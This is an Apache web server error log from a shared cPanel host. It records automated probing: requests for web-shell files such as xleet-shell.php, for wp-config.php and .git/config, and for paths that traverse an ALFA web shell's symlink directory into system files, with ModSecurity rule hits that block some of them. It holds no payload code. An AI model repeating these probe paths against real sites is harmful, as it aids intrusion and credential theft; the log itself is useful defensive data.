[Mon Oct 26 14:28:46.534224 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.236.185.101:3954] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:28:54.494747 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 54.157.84.74:14344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:28:58.573450 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 52.45.92.83:30398] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:29:08.037477 2026] [core:error] [pid 3064918:tid 3064918] (13)Permission denied: [client 185.191.171.7:30168] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/usersize
[Mon Oct 26 14:29:14.306906 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 3.226.106.93:36684] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:29:26.236961 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 54.243.63.52:12070] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu1/crash_notes_size
[Mon Oct 26 14:29:30.219326 2026] [ssl:error] [pid 3064918:tid 3064918] (70014)End of file found: [client 34.206.193.60:60797] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:29:34.342205 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 23.23.99.55:39437] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:29:35.671889 2026] [core:error] [pid 3079560:tid 3079560] (13)Permission denied: [client 185.191.171.7:60472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dio/objs_per_slab
[Mon Oct 26 14:29:42.651291 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 34.194.233.48:34243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:29:46.284122 2026] [core:error] [pid 3068535:tid 3068535] (13)Permission denied: [client 54.225.181.161:53047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:5/subsystem/tty6/subsystem/ttyS3/device/tty/ttyS0/io_type
[Mon Oct 26 14:30:06.207863 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 52.6.232.201:58962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:30:16.506494 2026] [ssl:error] [pid 3074873:tid 3074873] (70014)End of file found: [client 185.191.171.2:52846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:30:21.800111 2026] [authz_core:error] [pid 3064918:tid 3064918] [client 94.154.43.188:33054] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:30:38.302641 2026] [ssl:error] [pid 3074892:tid 3074892] (70014)End of file found: [client 52.5.232.250:7654] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:30:50.248448 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 18.213.240.226:9943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:30:54.389465 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 100.27.153.9:56518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/new_id
[Mon Oct 26 14:31:02.364604 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.207.207.36:1468] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:18.209693 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.193.115.232:35965] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:28.432739 2026] [security2:error] [pid 3081088:tid 3081088] [client 85.208.96.196:27798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki/php82/extend.php"] [unique_id "at-cgGzmSpSsBytZ44hhkwAAAAg"]
[Mon Oct 26 14:31:28.432841 2026] [security2:error] [pid 3081088:tid 3081088] [client 85.208.96.196:27798] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/tiki/php82/extend.php"] [unique_id "at-cgGzmSpSsBytZ44hhkwAAAAg"]
[Mon Oct 26 14:31:30.176772 2026] [ssl:error] [pid 3065807:tid 3065807] (2)No such file or directory: [client 52.204.71.8:39871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:46.178696 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 34.205.170.13:3088] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:47.370871 2026] [security2:error] [pid 3074872:tid 3074872] [client 206.84.81.93:59540] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "parkeranders.com"] [uri "/class.phpmailer.php"] [unique_id "at-ck1syD1ZSVE1PutLl7wAAAAQ"], referer: https://parkeranders.com/
[Mon Oct 26 14:31:49.491334 2026] [cgi:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:31:49.692024 2026] [cgi:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:31:49.948737 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.106.192.78:56129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-includes/wp-login.php"] [unique_id "at-clVsyD1ZSVE1PutLl8AAAAAQ"]
[Mon Oct 26 14:31:49.948777 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.106.192.78:56129] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-includes/wp-login.php"] [unique_id "at-clVsyD1ZSVE1PutLl8AAAAAQ"]
[Mon Oct 26 14:31:50.187146 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 18.211.39.188:1167] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:51.857072 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] ModSecurity: Warning. Matched phrase "gzdecode" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: gzdecode found within REQUEST_FILENAME: /wp-includes/simplepie/gzdecodes.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/SimplePie/gzdecodes.php.suspected"] [unique_id "at-clxjIL9Z3tuLhXUCtYwAAAAc"]
[Mon Oct 26 14:31:51.857286 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/SimplePie/gzdecodes.php.suspected"] [unique_id "at-clxjIL9Z3tuLhXUCtYwAAAAc"]
[Mon Oct 26 14:31:51.857648 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/SimplePie/gzdecodes.php.suspected"] [unique_id "at-clxjIL9Z3tuLhXUCtYwAAAAc"]
[Mon Oct 26 14:31:52.727347 2026] [cgi:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:31:54.169315 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.162.69.192:64472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:31:57.788402 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/widgets/themes.php"] [unique_id "at-cnRjIL9Z3tuLhXUCtfgAAAAc"]
[Mon Oct 26 14:31:57.788456 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:58726] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/widgets/themes.php"] [unique_id "at-cnRjIL9Z3tuLhXUCtfgAAAAc"]
[Mon Oct 26 14:32:02.179444 2026] [core:error] [pid 3077536:tid 3077536] (13)Permission denied: [client 44.210.213.220:25019] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/devices/pci0000:00/0000:00:00.0/rescan
[Mon Oct 26 14:32:07.969429 2026] [security2:error] [pid 3065806:tid 3065806] [client 3.106.192.78:64379] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/404.php"] [unique_id "at-cpw7tQS1M73WECjKP3gAAAAY"]
[Mon Oct 26 14:32:07.969474 2026] [security2:error] [pid 3065806:tid 3065806] [client 3.106.192.78:64379] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/wp-includes/404.php"] [unique_id "at-cpw7tQS1M73WECjKP3gAAAAY"]
[Mon Oct 26 14:32:12.569528 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:63079] ModSecurity: Warning. Matched phrase "gzdecode" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "145"] [id "933150"] [rev "1"] [msg "PHP Injection Attack: High-Risk PHP Function Name Found"] [data "Matched Data: gzdecode found within REQUEST_FILENAME: /wp-includes/simplepie/gzdecodes.php.suspected"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-includes/SimplePie/gzdecodes.php.suspected"] [unique_id "at-crJiRfclVa6z-M6tS-QAAAAo"]
[Mon Oct 26 14:32:12.569703 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:63079] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-includes/SimplePie/gzdecodes.php.suspected"] [unique_id "at-crJiRfclVa6z-M6tS-QAAAAo"]
[Mon Oct 26 14:32:12.581654 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:63079] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): PHP Injection Attack: High-Risk PHP Function Name Found"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at-crJiRfclVa6z-M6tS-QAAAAo"]
[Mon Oct 26 14:32:14.241265 2026] [ssl:error] [pid 3065807:tid 3065807] (22)Invalid argument: [client 18.232.36.1:61176] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:16.734235 2026] [cgi:error] [pid 3065806:tid 3065806] [client 3.106.192.78:64379] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:32:18.193974 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 23.23.104.107:1498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/exar_serial/new_id
[Mon Oct 26 14:32:22.090417 2026] [authz_core:error] [pid 3081138:tid 3081138] [client 3.131.220.121:59098] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 14:32:25.273756 2026] [cgi:error] [pid 3065806:tid 3065806] [client 3.106.192.78:64379] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:32:26.189956 2026] [ssl:error] [pid 3081088:tid 3081088] (70014)End of file found: [client 44.223.232.55:62688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:30.322815 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/acme-challenge/radio.php"] [unique_id "at-cvpiRfclVa6z-M6tTBwAAAAo"]
[Mon Oct 26 14:32:30.322871 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/acme-challenge/radio.php"] [unique_id "at-cvpiRfclVa6z-M6tTBwAAAAo"]
[Mon Oct 26 14:32:30.371035 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 54.83.180.239:59529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:32.726782 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/tiny.php"] [unique_id "at-cwJiRfclVa6z-M6tTEgAAAAo"]
[Mon Oct 26 14:32:32.726833 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "mail.curso-de-ventas.com"] [uri "/tiny.php"] [unique_id "at-cwJiRfclVa6z-M6tTEgAAAAo"]
[Mon Oct 26 14:32:36.152584 2026] [ssl:error] [pid 3065806:tid 3065806] (70014)End of file found: [client 85.208.96.206:47776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:38.180792 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 100.28.44.58:7314] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:41.544616 2026] [cgi:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:32:43.879138 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.well-known/pki-validation/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/pki-validation/wp-config.php"] [unique_id "at-cy5iRfclVa6z-M6tTRQAAAAo"]
[Mon Oct 26 14:32:43.879410 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/pki-validation/wp-config.php"] [unique_id "at-cy5iRfclVa6z-M6tTRQAAAAo"]
[Mon Oct 26 14:32:43.879760 2026] [security2:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "mail.curso-de-ventas.com"] [uri "/.well-known/pki-validation/wp-config.php"] [unique_id "at-cy5iRfclVa6z-M6tTRQAAAAo"]
[Mon Oct 26 14:32:45.355767 2026] [security2:error] [pid 3065806:tid 3065806] [client 3.106.192.78:60306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/abouts.php"] [unique_id "at-czQ7tQS1M73WECjKQRAAAAAY"]
[Mon Oct 26 14:32:45.355806 2026] [security2:error] [pid 3065806:tid 3065806] [client 3.106.192.78:60306] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/abouts.php"] [unique_id "at-czQ7tQS1M73WECjKQRAAAAAY"]
[Mon Oct 26 14:32:46.178843 2026] [core:error] [pid 3074872:tid 3074872] (13)Permission denied: [client 184.73.195.18:55006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty1/subsystem/ttyS0/subsystem/ttyS1/port
[Mon Oct 26 14:32:47.165760 2026] [cgi:error] [pid 3081138:tid 3081138] [client 3.106.192.78:55796] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 14:32:50.176215 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.159.18.27:14081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:54.457056 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 3.93.211.16:9114] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:32:58.999163 2026] [core:crit] [pid 3065806:tid 3065806] (13)Permission denied: [client 3.131.220.121:43824] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:33:00.260950 2026] [proxy_fcgi:error] [pid 3081088:tid 3081088] [client 187.19.248.199:5727] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 14:33:02.225440 2026] [core:crit] [pid 3065806:tid 3065806] (13)Permission denied: [client 3.131.220.121:42242] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Mon Oct 26 14:33:03.651087 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:59172] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-admin/includes/xleet-shell.php"] [unique_id "at-c3xjIL9Z3tuLhXUCtwwAAAAc"]
[Mon Oct 26 14:33:03.651124 2026] [security2:error] [pid 3065807:tid 3065807] [client 3.106.192.78:59172] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "autodiscover.curso-de-ventas.com"] [uri "/wp-admin/includes/xleet-shell.php"] [unique_id "at-c3xjIL9Z3tuLhXUCtwwAAAAc"]
[Mon Oct 26 14:33:10.251104 2026] [ssl:error] [pid 3077536:tid 3077536] (70014)End of file found: [client 18.215.49.176:21967] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:33:22.182387 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 44.205.120.22:6739] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:33:26.186710 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 34.231.45.47:59601] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:33:36.455520 2026] [core:error] [pid 3065808:tid 3065808] (13)Permission denied: [client 216.244.66.250:40568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-4.18.0-553.58.1.el8_10.x86_64kdump.img
[Mon Oct 26 14:33:37.194764 2026] [security2:error] [pid 3065806:tid 3065806] [client 45.148.10.120:60862] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at-dAQ7tQS1M73WECjKQWgAAAAY"]
[Mon Oct 26 14:33:37.195030 2026] [security2:error] [pid 3065806:tid 3065806] [client 45.148.10.120:60862] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.git/config"] [unique_id "at-dAQ7tQS1M73WECjKQWgAAAAY"]
[Mon Oct 26 14:33:37.206871 2026] [security2:error] [pid 3065806:tid 3065806] [client 45.148.10.120:60862] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/403.shtml"] [unique_id "at-dAQ7tQS1M73WECjKQWgAAAAY"]
[Mon Oct 26 14:33:45.935042 2026] [core:error] [pid 3064916:tid 3064916] (13)Permission denied: [client 216.244.66.250:53680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/proftpd.conf.rpmsave
[Mon Oct 26 14:34:06.236596 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 54.164.106.236:32874] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:10.223446 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 3.218.103.254:36600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:22.175671 2026] [ssl:error] [pid 3065808:tid 3065808] (70014)End of file found: [client 3.89.170.186:3702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:22.418002 2026] [core:error] [pid 3064909:tid 3064909] (13)Permission denied: [client 216.244.66.250:55450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/userdatadomains
[Mon Oct 26 14:34:34.226336 2026] [ssl:error] [pid 3079560:tid 3079560] (70014)End of file found: [client 3.221.244.28:12226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:38.467717 2026] [ssl:error] [pid 3064909:tid 3064909] (70014)End of file found: [client 44.223.193.255:4966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:42.252640 2026] [ssl:error] [pid 3064916:tid 3064916] (70014)End of file found: [client 54.84.169.196:33717] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:46.225343 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 54.85.126.86:20885] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:34:46.384905 2026] [security2:error] [pid 3064975:tid 3064975] [client 107.172.76.131:56016] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-dOcdX-waAlDqXJHtUPQAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 14:34:46.384980 2026] [security2:error] [pid 3064975:tid 3064975] [client 107.172.76.131:56016] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-dOcdX-waAlDqXJHtUPQAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 14:34:47.478911 2026] [security2:error] [pid 3074872:tid 3074872] [client 3.106.192.78:56761] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /.well-known/pki-validation/wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "autodiscover.curso-de-ventas.com"] [uri "/.well-known/pki-validation/wp-config.php"] [unique_id "at-dR1syD1ZSVE1PutLmLQAAAAQ"]
